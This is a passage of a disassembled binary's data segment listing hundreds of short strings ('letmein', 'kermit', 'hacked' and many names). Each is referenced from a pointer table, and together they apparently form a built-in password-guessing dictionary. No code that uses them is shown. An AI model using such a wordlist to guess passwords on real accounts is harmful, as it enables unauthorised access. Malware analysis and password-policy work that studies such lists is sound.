aNovel		db 'novel',0            ; DATA XREF: seg002:0042D3F8o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:0042D3F4o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: seg002:0042D3F0o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:0042D3ECo
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042D3E8o
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:0042D3E4o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: seg002:0042D3E0o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:0042D3DCo
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:0042D3D8o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:0042D3D4o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:0042D3D0o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:0042D3CCo
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:0042D3C8o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:0042D3C4o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg002:0042D3C0o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:0042D3BCo
		align 4
aNext		db 'next',0             ; DATA XREF: seg002:0042D3B8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:0042D3B4o
aNewton		db 'newton',0           ; DATA XREF: seg002:0042D3B0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:0042D3ACo
		align 10h
aNews		db 'news',0             ; DATA XREF: seg002:0042D3A8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:0042D3A4o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:0042D3A0o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:0042D39Co
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:0042D398o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg002:0042D394o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:0042D390o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: seg002:0042D38Co
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:0042D388o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:0042D384o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg002:0042D380o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:0042D37Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg002:0042D378o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:0042D374o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg002:0042D370o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:0042D36Co
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:0042D368o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:0042D364o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg002:0042D360o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:0042D35Co
		align 4
aMove		db 'move',0             ; DATA XREF: seg002:0042D358o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:0042D354o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg002:0042D350o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:0042D34Co
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042D348o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:0042D344o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:0042D340o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: seg002:0042D33Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042D338o
		align 10h
aMore		db 'more',0             ; DATA XREF: seg002:0042D334o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:0042D330o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: seg002:0042D32Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042D328o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: seg002:0042D324o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:0042D320o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: seg002:0042D31Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042D318o
		align 10h
aModem		db 'modem',0            ; DATA XREF: seg002:0042D314o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:0042D310o
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: seg002:0042D30Co
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042D308o
aMisfit		db 'misfit',0           ; DATA XREF: seg002:0042D304o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:0042D300o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: seg002:0042D2FCo
aMine		db 'mine',0             ; DATA XREF: seg002:0042D2F8o
		align 10h
aMike		db 'mike',0             ; DATA XREF: seg002:0042D2F4o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:0042D2F0o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:0042D2ECo
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042D2E8o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:0042D2E4o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:0042D2E0o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: seg002:0042D2DCo
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:0042D2D8o
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:0042D2D4o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:0042D2D0o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:0042D2CCo
		align 10h
aMichael	db 'michael',0          ; DATA XREF: seg002:0042D2C8o
aMice		db 'mice',0             ; DATA XREF: seg002:0042D2C4o
		align 10h
aMets		db 'mets',0             ; DATA XREF: seg002:0042D2C0o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:0042D2BCo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:0042D2B8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: seg002:0042D2B4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:0042D2B0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: seg002:0042D2ACo
aMenu		db 'menu',0             ; DATA XREF: seg002:0042D2A8o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: seg002:0042D2A4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:0042D2A0o
		align 10h
aMember		db 'member',0           ; DATA XREF: seg002:0042D29Co
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:0042D298o
aMellon		db 'mellon',0           ; DATA XREF: seg002:0042D294o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:0042D290o
aMegan		db 'megan',0            ; DATA XREF: seg002:0042D28Co
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:0042D288o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:0042D284o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: seg002:0042D280o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:0042D27Co
aMath		db 'math',0             ; DATA XREF: seg002:0042D278o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:0042D274o
		align 10h
aMason		db 'mason',0            ; DATA XREF: seg002:0042D270o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:0042D26Co
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: seg002:0042D268o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:0042D264o
		align 10h
aMars		db 'mars',0             ; DATA XREF: seg002:0042D260o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:0042D25Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042D258o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg002:0042D254o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:0042D250o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg002:0042D24Co
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042D248o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: seg002:0042D244o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg002:0042D240o
aMaria		db 'maria',0            ; DATA XREF: seg002:0042D23Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042D238o
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:0042D234o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg002:0042D230o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:0042D22Co
aMana		db 'mana',0             ; DATA XREF: seg002:0042D228o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:0042D224o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:0042D220o
aMaint		db 'maint',0            ; DATA XREF: seg002:0042D21Co
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:0042D218o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:0042D214o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg002:0042D210o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:0042D20Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg002:0042D208o
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:0042D204o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg002:0042D200o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:0042D1FCo
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042D1F8o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:0042D1F4o
		align 10h
aLust		db 'lust',0             ; DATA XREF: seg002:0042D1F0o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:0042D1ECo
		align 10h
aLude		db 'lude',0             ; DATA XREF: seg002:0042D1E8o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:0042D1E4o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: seg002:0042D1E0o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:0042D1DCo
		align 10h
aLover		db 'lover',0            ; DATA XREF: seg002:0042D1D8o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:0042D1D4o
aLouis		db 'louis',0            ; DATA XREF: seg002:0042D1D0o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:0042D1CCo
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:0042D1C8o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg002:0042D1C4o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:0042D1C0o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg002:0042D1BCo
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:0042D1B8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:0042D1B4o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:0042D1B0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg002:0042D1ACo
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:0042D1A8o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: seg002:0042D1A4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:0042D1A0o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:0042D19Co
aLock		db 'lock',0             ; DATA XREF: seg002:0042D198o
		align 4
aLoad		db 'load',0             ; DATA XREF: seg002:0042D194o
		align 4
aLive		db 'live',0             ; DATA XREF: seg002:0042D190o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:0042D18Co
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: seg002:0042D188o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:0042D184o
		align 10h
aLips		db 'lips',0             ; DATA XREF: seg002:0042D180o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:0042D17Co
		align 10h
aLink		db 'link',0             ; DATA XREF: seg002:0042D178o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:0042D174o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: seg002:0042D170o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:0042D16Co
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:0042D168o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:0042D164o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:0042D160o
		align 10h
aLife		db 'life',0             ; DATA XREF: seg002:0042D15Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042D158o
		align 10h
aLick		db 'lick',0             ; DATA XREF: seg002:0042D154o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:0042D150o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:0042D14Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042D148o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:0042D144o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg002:0042D140o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:0042D13Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042D138o
aLeroy		db 'leroy',0            ; DATA XREF: seg002:0042D134o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg002:0042D130o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:0042D12Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042D128o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:0042D124o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:0042D120o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg002:0042D11Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042D118o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:0042D114o
aLava		db 'lava',0             ; DATA XREF: seg002:0042D110o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg002:0042D10Co
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042D108o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg002:0042D104o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:0042D100o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg002:0042D0FCo
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042D0F8o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg002:0042D0F4o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:0042D0F0o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: seg002:0042D0ECo
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042D0E8o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: seg002:0042D0E4o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:0042D0E0o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: seg002:0042D0DCo
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:0042D0D8o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:0042D0D4o
aKristie	db 'kristie',0          ; DATA XREF: seg002:0042D0D0o
aKristi		db 'kristi',0           ; DATA XREF: seg002:0042D0CCo
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg002:0042D0C8o
aKrista		db 'krista',0           ; DATA XREF: seg002:0042D0C4o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg002:0042D0C0o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:0042D0BCo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: seg002:0042D0B8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:0042D0B4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: seg002:0042D0B0o
aKitten		db 'kitten',0           ; DATA XREF: seg002:0042D0ACo
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:0042D0A8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg002:0042D0A4o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:0042D0A0o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: seg002:0042D09Co
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:0042D098o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:0042D094o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg002:0042D090o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:0042D08Co
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg002:0042D088o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:0042D084o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: seg002:0042D080o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:0042D07Co
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: seg002:0042D078o
aKewl		db 'kewl',0             ; DATA XREF: seg002:0042D074o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: seg002:0042D070o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:0042D06Co
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:0042D068o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:0042D064o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: seg002:0042D060o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:0042D05Co
		align 10h
aKeri		db 'keri',0             ; DATA XREF: seg002:0042D058o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:0042D054o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: seg002:0042D050o
aKatina		db 'katina',0           ; DATA XREF: seg002:0042D04Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: seg002:0042D048o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:0042D044o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:0042D040o
		align 10h
aKate		db 'kate',0             ; DATA XREF: seg002:0042D03Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:0042D038o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: seg002:0042D034o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:0042D030o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: seg002:0042D02Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:0042D028o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:0042D024o
aJune		db 'june',0             ; DATA XREF: seg002:0042D020o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: seg002:0042D01Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:0042D018o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: seg002:0042D014o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:0042D010o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: seg002:0042D00Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:0042D008o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: seg002:0042D004o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:0042D000o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: seg002:0042CFFCo
aJoshua		db 'joshua',0           ; DATA XREF: seg002:0042CFF8o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: seg002:0042CFF4o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:0042CFF0o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:0042CFECo
aJohn		db 'john',0             ; DATA XREF: seg002:0042CFE8o
		align 10h
aJody		db 'jody',0             ; DATA XREF: seg002:0042CFE4o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:0042CFE0o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: seg002:0042CFDCo
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:0042CFD8o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:0042CFD4o
aJester		db 'jester',0           ; DATA XREF: seg002:0042CFD0o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: seg002:0042CFCCo
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:0042CFC8o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:0042CFC4o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg002:0042CFC0o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:0042CFBCo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: seg002:0042CFB8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:0042CFB4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:0042CFB0o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:0042CFACo
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: seg002:0042CFA8o
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:0042CFA4o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:0042CFA0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:0042CF9Co
		align 10h
aJanie		db 'janie',0            ; DATA XREF: seg002:0042CF98o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:0042CF94o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: seg002:0042CF90o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:0042CF8Co
		align 10h
aJail		db 'jail',0             ; DATA XREF: seg002:0042CF88o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:0042CF84o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: seg002:0042CF80o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:0042CF7Co
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:0042CF78o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg002:0042CF74o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:0042CF70o
aInside		db 'inside',0           ; DATA XREF: seg002:0042CF6Co
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:0042CF68o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:0042CF64o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:0042CF60o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:0042CF5Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:0042CF58o
aIngres		db 'ingres',0           ; DATA XREF: seg002:0042CF54o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:0042CF50o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:0042CF4Co
aIndian		db 'indian',0           ; DATA XREF: seg002:0042CF48o
		align 10h
aIndia		db 'india',0            ; DATA XREF: seg002:0042CF44o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:0042CF40o
aImperial	db 'imperial',0         ; DATA XREF: seg002:0042CF3Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg002:0042CF38o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:0042CF34o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:0042CF30o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg002:0042CF2Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:0042CF28o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:0042CF24o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: seg002:0042CF20o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:0042CF1Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:0042CF18o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: seg002:0042CF14o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:0042CF10o
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: seg002:0042CF0Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:0042CF08o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:0042CF04o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:0042CF00o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: seg002:0042CEFCo
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:0042CEF8o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: seg002:0042CEF4o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:0042CEF0o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:0042CEECo
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg002:0042CEE8o
aHooker		db 'hooker',0           ; DATA XREF: seg002:0042CEE4o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg002:0042CEE0o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:0042CEDCo
		align 10h
aHomer		db 'homer',0            ; DATA XREF: seg002:0042CED8o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:0042CED4o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:0042CED0o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: seg002:0042CECCo
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:0042CEC8o
		align 10h
aHits		db 'hits',0             ; DATA XREF: seg002:0042CEC4o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:0042CEC0o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: seg002:0042CEBCo
		align 4
aHigh		db 'high',0             ; DATA XREF: seg002:0042CEB8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:0042CEB4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:0042CEB0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:0042CEACo
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:0042CEA8o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:0042CEA4o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:0042CEA0o
		align 10h
aHero		db 'hero',0             ; DATA XREF: seg002:0042CE9Co
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:0042CE98o
aHerb		db 'herb',0             ; DATA XREF: seg002:0042CE94o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:0042CE90o
		align 10h
aHello		db 'hello',0            ; DATA XREF: seg002:0042CE8Co
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:0042CE88o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:0042CE84o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg002:0042CE80o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:0042CE7Co
		align 10h
aHeather	db 'heather',0          ; DATA XREF: seg002:0042CE78o
aHeathen	db 'heathen',0          ; DATA XREF: seg002:0042CE74o
aHeat		db 'heat',0             ; DATA XREF: seg002:0042CE70o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:0042CE6Co
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:0042CE68o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:0042CE64o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:0042CE60o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg002:0042CE5Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:0042CE58o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg002:0042CE54o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:0042CE50o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:0042CE4Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:0042CE48o
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:0042CE44o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg002:0042CE40o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:0042CE3Co
aHandily	db 'handily',0          ; DATA XREF: seg002:0042CE38o
aHandel		db 'handel',0           ; DATA XREF: seg002:0042CE34o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: seg002:0042CE30o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:0042CE2Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:0042CE28o
		align 4
aHair		db 'hair',0             ; DATA XREF: seg002:0042CE24o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:0042CE20o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg002:0042CE1Co
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:0042CE18o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg002:0042CE14o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg002:0042CE10o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: seg002:0042CE0Co
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:0042CE08o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: seg002:0042CE04o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:0042CE00o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:0042CDFCo
aGroup		db 'group',0            ; DATA XREF: seg002:0042CDF8o
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:0042CDF4o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg002:0042CDF0o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:0042CDECo
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg002:0042CDE8o
